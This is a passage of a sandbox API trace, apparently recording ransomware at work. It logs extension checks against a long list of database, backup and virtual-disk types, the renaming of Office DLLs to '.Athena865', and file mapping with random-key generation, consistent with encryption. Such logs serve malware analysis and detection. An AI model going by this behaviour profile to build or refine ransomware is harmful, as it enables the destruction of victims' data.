lstrlenW (lpString="fpt") returned 3 [0086.655] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0086.655] lstrlenW (lpString="frm") returned 3 [0086.655] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0086.655] lstrlenW (lpString="gdb") returned 3 [0086.655] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0086.655] lstrlenW (lpString="gdb") returned 3 [0086.655] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0086.655] lstrlenW (lpString="grdb") returned 4 [0086.655] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0086.655] lstrlenW (lpString="gwi") returned 3 [0086.655] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0086.655] lstrlenW (lpString="hdb") returned 3 [0086.655] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0086.655] lstrlenW (lpString="his") returned 3 [0086.655] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0086.655] lstrlenW (lpString="ib") returned 2 [0086.655] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0086.655] lstrlenW (lpString="idb") returned 3 [0086.655] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0086.655] lstrlenW (lpString="ihx") returned 3 [0086.655] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0086.655] lstrlenW (lpString="itdb") returned 4 [0086.655] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0086.655] lstrlenW (lpString="itw") returned 3 [0086.655] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0086.655] lstrlenW (lpString="jet") returned 3 [0086.655] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0086.655] lstrlenW (lpString="jtx") returned 3 [0086.655] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0086.655] lstrlenW (lpString="kdb") returned 3 [0086.655] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0086.655] lstrlenW (lpString="kexi") returned 4 [0086.656] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0086.656] lstrlenW (lpString="kexic") returned 5 [0086.656] lstrcmpiW (lpString1="D.DLL", lpString2="kexic") returned -1 [0086.656] lstrlenW (lpString="kexis") returned 5 [0086.656] lstrcmpiW (lpString1="D.DLL", lpString2="kexis") returned -1 [0086.656] lstrlenW (lpString="lgc") returned 3 [0086.656] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0086.656] lstrlenW (lpString="lwx") returned 3 [0086.656] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0086.656] lstrlenW (lpString="maf") returned 3 [0086.656] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0086.656] lstrlenW (lpString="maq") returned 3 [0086.656] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0086.656] lstrlenW (lpString="mar") returned 3 [0086.656] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0086.656] lstrlenW (lpString="marshal") returned 7 [0086.656] lstrcmpiW (lpString1="IND.DLL", lpString2="marshal") returned -1 [0086.656] lstrlenW (lpString="mas") returned 3 [0086.656] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0086.656] lstrlenW (lpString="mav") returned 3 [0086.656] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0086.656] lstrlenW (lpString="maw") returned 3 [0086.656] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0086.656] lstrlenW (lpString="mdbhtml") returned 7 [0086.656] lstrcmpiW (lpString1="IND.DLL", lpString2="mdbhtml") returned -1 [0086.656] lstrlenW (lpString="mdn") returned 3 [0086.656] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0086.656] lstrlenW (lpString="mdt") returned 3 [0086.656] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0086.656] lstrlenW (lpString="mfd") returned 3 [0086.656] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0086.656] lstrlenW (lpString="mpd") returned 3 [0086.656] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0086.656] lstrlenW (lpString="mrg") returned 3 [0086.657] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0086.657] lstrlenW (lpString="mud") returned 3 [0086.657] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0086.657] lstrlenW (lpString="mwb") returned 3 [0086.657] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0086.657] lstrlenW (lpString="myd") returned 3 [0086.657] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0086.657] lstrlenW (lpString="ndf") returned 3 [0086.657] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0086.657] lstrlenW (lpString="nnt") returned 3 [0086.657] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0086.657] lstrlenW (lpString="nrmlib") returned 6 [0086.657] lstrcmpiW (lpString1="ND.DLL", lpString2="nrmlib") returned -1 [0086.657] lstrlenW (lpString="ns2") returned 3 [0086.657] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0086.657] lstrlenW (lpString="ns3") returned 3 [0086.657] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0086.657] lstrlenW (lpString="ns4") returned 3 [0086.657] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0086.657] lstrlenW (lpString="nsf") returned 3 [0086.657] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0086.657] lstrlenW (lpString="nv") returned 2 [0086.657] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0086.657] lstrlenW (lpString="nv2") returned 3 [0086.657] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0086.657] lstrlenW (lpString="nwdb") returned 4 [0086.657] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0086.657] lstrlenW (lpString="nyf") returned 3 [0086.657] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0086.657] lstrlenW (lpString="odb") returned 3 [0086.657] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0086.657] lstrlenW (lpString="odb") returned 3 [0086.657] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0086.657] lstrlenW (lpString="oqy") returned 3 [0086.658] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0086.658] lstrlenW (lpString="ora") returned 3 [0086.658] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0086.658] lstrlenW (lpString="orx") returned 3 [0086.658] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0086.658] lstrlenW (lpString="owc") returned 3 [0086.658] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0086.658] lstrlenW (lpString="p96") returned 3 [0086.658] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0086.658] lstrlenW (lpString="p97") returned 3 [0086.658] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0086.658] lstrlenW (lpString="pan") returned 3 [0086.658] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0086.658] lstrlenW (lpString="pdb") returned 3 [0086.658] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0086.658] lstrlenW (lpString="pdm") returned 3 [0086.658] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0086.658] lstrlenW (lpString="pnz") returned 3 [0086.658] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0086.658] lstrlenW (lpString="qry") returned 3 [0086.658] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0086.658] lstrlenW (lpString="qvd") returned 3 [0086.658] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0086.658] lstrlenW (lpString="rbf") returned 3 [0086.658] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0086.658] lstrlenW (lpString="rctd") returned 4 [0086.658] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0086.658] lstrlenW (lpString="rod") returned 3 [0086.658] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0086.658] lstrlenW (lpString="rodx") returned 4 [0086.658] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0086.658] lstrlenW (lpString="rpd") returned 3 [0086.658] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0086.658] lstrlenW (lpString="rsd") returned 3 [0086.659] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0086.659] lstrlenW (lpString="sas7bdat") returned 8 [0086.659] lstrcmpiW (lpString1="WIND.DLL", lpString2="sas7bdat") returned 1 [0086.659] lstrlenW (lpString="sbf") returned 3 [0086.659] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0086.659] lstrlenW (lpString="scx") returned 3 [0086.659] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0086.659] lstrlenW (lpString="sdb") returned 3 [0086.659] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0086.659] lstrlenW (lpString="sdc") returned 3 [0086.659] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0086.659] lstrlenW (lpString="sdf") returned 3 [0086.659] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0086.659] lstrlenW (lpString="sis") returned 3 [0086.659] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0086.659] lstrlenW (lpString="spq") returned 3 [0086.659] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0086.659] lstrlenW (lpString="te") returned 2 [0086.659] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0086.659] lstrlenW (lpString="teacher") returned 7 [0086.659] lstrcmpiW (lpString1="IND.DLL", lpString2="teacher") returned -1 [0086.659] lstrlenW (lpString="tmd") returned 3 [0086.659] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0086.659] lstrlenW (lpString="tps") returned 3 [0086.659] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0086.659] lstrlenW (lpString="trc") returned 3 [0086.659] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0086.659] lstrlenW (lpString="trc") returned 3 [0086.659] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0086.659] lstrlenW (lpString="trm") returned 3 [0086.659] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0086.659] lstrlenW (lpString="udb") returned 3 [0086.659] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0086.659] lstrlenW (lpString="udl") returned 3 [0086.660] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0086.660] lstrlenW (lpString="usr") returned 3 [0086.660] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0086.660] lstrlenW (lpString="v12") returned 3 [0086.660] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0086.660] lstrlenW (lpString="vis") returned 3 [0086.660] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0086.660] lstrlenW (lpString="vpd") returned 3 [0086.660] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0086.660] lstrlenW (lpString="vvv") returned 3 [0086.660] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0086.660] lstrlenW (lpString="wdb") returned 3 [0086.660] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0086.660] lstrlenW (lpString="wmdb") returned 4 [0086.660] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0086.660] lstrlenW (lpString="wrk") returned 3 [0086.660] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0086.660] lstrlenW (lpString="xdb") returned 3 [0086.660] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0086.660] lstrlenW (lpString="xld") returned 3 [0086.660] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0086.660] lstrlenW (lpString="xmlff") returned 5 [0086.660] lstrcmpiW (lpString1="D.DLL", lpString2="xmlff") returned -1 [0086.660] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VERBWIND.DLL.Athena865") returned 65 [0086.660] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VERBWIND.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\verbwind.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VERBWIND.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\verbwind.dll.athena865"), dwFlags=0x1) returned 1 [0086.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VERBWIND.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\verbwind.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.662] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=148352) returned 1 [0086.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.662] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.663] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.663] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.663] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24680, lpName=0x0) returned 0x154 [0086.664] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24680) returned 0x170000 [0086.671] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.672] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.672] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.673] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0086.674] CloseHandle (hObject=0x154) returned 1 [0086.674] CloseHandle (hObject=0x17c) returned 1 [0086.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.675] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x22558, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VIEWMODL.DLL", cAlternateFileName="")) returned 1 [0086.675] lstrcmpiW (lpString1="VIEWMODL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.675] lstrcmpiW (lpString1="VIEWMODL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.675] lstrcpyW (in: lpString1=0x241e89e, lpString2="VIEWMODL.DLL" | out: lpString1="VIEWMODL.DLL") returned="VIEWMODL.DLL" [0086.675] lstrlenW (lpString="VIEWMODL.DLL") returned 12 [0086.675] lstrlenW (lpString="Athena865") returned 9 [0086.675] lstrcmpiW (lpString1="WMODL.DLL", lpString2="Athena865") returned 1 [0086.675] lstrlenW (lpString=".dll") returned 4 [0086.675] lstrcmpiW (lpString1="VIEWMODL.DLL", lpString2=".dll") returned 1 [0086.675] lstrlenW (lpString=".lnk") returned 4 [0086.675] lstrcmpiW (lpString1="VIEWMODL.DLL", lpString2=".lnk") returned 1 [0086.675] lstrlenW (lpString=".ini") returned 4 [0086.675] lstrcmpiW (lpString1="VIEWMODL.DLL", lpString2=".ini") returned 1 [0086.675] lstrlenW (lpString=".sys") returned 4 [0086.675] lstrcmpiW (lpString1="VIEWMODL.DLL", lpString2=".sys") returned 1 [0086.675] lstrlenW (lpString="VIEWMODL.DLL") returned 12 [0086.675] lstrlenW (lpString="bak") returned 3 [0086.675] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0086.675] lstrlenW (lpString="ba_") returned 3 [0086.675] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0086.675] lstrlenW (lpString="dbb") returned 3 [0086.675] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0086.675] lstrlenW (lpString="vmdk") returned 4 [0086.675] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0086.675] lstrlenW (lpString="rar") returned 3 [0086.676] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0086.676] lstrlenW (lpString="zip") returned 3 [0086.676] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0086.676] lstrlenW (lpString="tgz") returned 3 [0086.676] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0086.676] lstrlenW (lpString="vbox") returned 4 [0086.676] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0086.676] lstrlenW (lpString="vdi") returned 3 [0086.676] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0086.676] lstrlenW (lpString="vhd") returned 3 [0086.676] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0086.676] lstrlenW (lpString="vhdx") returned 4 [0086.676] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0086.676] lstrlenW (lpString="avhd") returned 4 [0086.676] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0086.676] lstrlenW (lpString="db") returned 2 [0086.676] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0086.676] lstrlenW (lpString="db2") returned 3 [0086.676] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0086.676] lstrlenW (lpString="db3") returned 3 [0086.676] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0086.676] lstrlenW (lpString="dbf") returned 3 [0086.676] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0086.676] lstrlenW (lpString="mdf") returned 3 [0086.676] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0086.676] lstrlenW (lpString="mdb") returned 3 [0086.676] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0086.676] lstrlenW (lpString="sql") returned 3 [0086.676] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0086.676] lstrlenW (lpString="sqlite") returned 6 [0086.676] lstrcmpiW (lpString1="DL.DLL", lpString2="sqlite") returned -1 [0086.676] lstrlenW (lpString="sqlite3") returned 7 [0086.676] lstrcmpiW (lpString1="ODL.DLL", lpString2="sqlite3") returned -1 [0086.677] lstrlenW (lpString="sqlitedb") returned 8 [0086.677] lstrcmpiW (lpString1="MODL.DLL", lpString2="sqlitedb") returned -1 [0086.677] lstrlenW (lpString="xml") returned 3 [0086.677] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0086.677] lstrlenW (lpString="$er") returned 3 [0086.677] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0086.677] lstrlenW (lpString="4dd") returned 3 [0086.677] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0086.677] lstrlenW (lpString="4dl") returned 3 [0086.677] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0086.677] lstrlenW (lpString="^^^") returned 3 [0086.677] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0086.677] lstrlenW (lpString="abs") returned 3 [0086.677] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0086.677] lstrlenW (lpString="abx") returned 3 [0086.677] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0086.677] lstrlenW (lpString="accdb") returned 5 [0086.677] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1 [0086.677] lstrlenW (lpString="accdc") returned 5 [0086.677] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1 [0086.677] lstrlenW (lpString="accde") returned 5 [0086.677] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1 [0086.677] lstrlenW (lpString="accdr") returned 5 [0086.677] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1 [0086.677] lstrlenW (lpString="accdt") returned 5 [0086.677] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1 [0086.677] lstrlenW (lpString="accdw") returned 5 [0086.677] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1 [0086.677] lstrlenW (lpString="accft") returned 5 [0086.677] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1 [0086.677] lstrlenW (lpString="adb") returned 3 [0086.677] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0086.677] lstrlenW (lpString="adb") returned 3 [0086.677] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0086.678] lstrlenW (lpString="ade") returned 3 [0086.678] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0086.678] lstrlenW (lpString="adf") returned 3 [0086.678] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0086.678] lstrlenW (lpString="adn") returned 3 [0086.678] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0086.678] lstrlenW (lpString="adp") returned 3 [0086.678] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0086.678] lstrlenW (lpString="alf") returned 3 [0086.678] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0086.678] lstrlenW (lpString="ask") returned 3 [0086.678] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0086.678] lstrlenW (lpString="btr") returned 3 [0086.678] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0086.678] lstrlenW (lpString="cat") returned 3 [0086.678] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0086.678] lstrlenW (lpString="cdb") returned 3 [0086.678] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0086.678] lstrlenW (lpString="ckp") returned 3 [0086.678] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0086.678] lstrlenW (lpString="cma") returned 3 [0086.678] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0086.678] lstrlenW (lpString="cpd") returned 3 [0086.678] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0086.678] lstrlenW (lpString="dacpac") returned 6 [0086.678] lstrcmpiW (lpString1="DL.DLL", lpString2="dacpac") returned 1 [0086.678] lstrlenW (lpString="dad") returned 3 [0086.678] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0086.678] lstrlenW (lpString="dadiagrams") returned 10 [0086.678] lstrcmpiW (lpString1="EWMODL.DLL", lpString2="dadiagrams") returned 1 [0086.678] lstrlenW (lpString="daschema") returned 8 [0086.678] lstrcmpiW (lpString1="MODL.DLL", lpString2="daschema") returned 1 [0086.678] lstrlenW (lpString="db-journal") returned 10 [0086.679] lstrcmpiW (lpString1="EWMODL.DLL", lpString2="db-journal") returned 1 [0086.679] lstrlenW (lpString="db-shm") returned 6 [0086.679] lstrcmpiW (lpString1="DL.DLL", lpString2="db-shm") returned 1 [0086.679] lstrlenW (lpString="db-wal") returned 6 [0086.679] lstrcmpiW (lpString1="DL.DLL", lpString2="db-wal") returned 1 [0086.679] lstrlenW (lpString="dbc") returned 3 [0086.679] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0086.679] lstrlenW (lpString="dbs") returned 3 [0086.679] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0086.679] lstrlenW (lpString="dbt") returned 3 [0086.679] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0086.679] lstrlenW (lpString="dbv") returned 3 [0086.679] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0086.679] lstrlenW (lpString="dbx") returned 3 [0086.679] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0086.679] lstrlenW (lpString="dcb") returned 3 [0086.679] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0086.679] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VIEWMODL.DLL.Athena865") returned 65 [0086.679] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VIEWMODL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\viewmodl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VIEWMODL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\viewmodl.dll.athena865"), dwFlags=0x1) returned 1 [0086.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VIEWMODL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\viewmodl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.681] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=140632) returned 1 [0086.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.681] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.682] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.682] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.682] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x22860, lpName=0x0) returned 0x154 [0086.684] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x22860) returned 0x170000 [0086.691] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.692] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.692] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.692] 